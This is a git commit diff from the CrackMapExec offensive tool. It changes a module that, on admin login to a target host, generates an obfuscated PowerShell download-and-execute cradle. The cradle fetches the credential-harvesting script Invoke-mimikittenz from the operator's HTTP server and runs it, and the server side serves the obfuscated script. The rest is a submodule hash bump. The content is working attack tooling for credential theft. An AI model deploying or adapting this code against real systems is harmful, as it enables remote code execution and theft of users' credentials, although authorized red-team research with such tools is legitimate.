Merge branch 'master' of github.com:byt3bl33d3r/CrackMapExec

main
byt3bl33d3r 2017-04-10 01:25:34 -06:00
commit 86273bdc27
2 changed files with 7 additions and 6 deletions

View File

@ -18,9 +18,10 @@ class CMEModule:
def options(self, context, module_options):
'''
'''
self.ps_script = obfs_ps_script('mimikittenz/Invoke-mimikittenz.ps1')
return
def on_admin_login(self, context, command):
def on_admin_login(self, context, connection):
command = 'Invoke-mimikittenz'
launcher = gen_ps_iex_cradle(context, 'Invoke-mimikittenz.ps1', command)
ps_command = create_ps_command(launcher)
@ -33,9 +34,9 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(ps_script)
#with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
# ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(self.ps_script)
else:
request.send_response(404)

@ -1 +1 @@
Subproject commit 1ee894ce85de5976012b34fe55a00695672d0cc3
Subproject commit 2d74947a975486f49e94299ac270161c92cf7912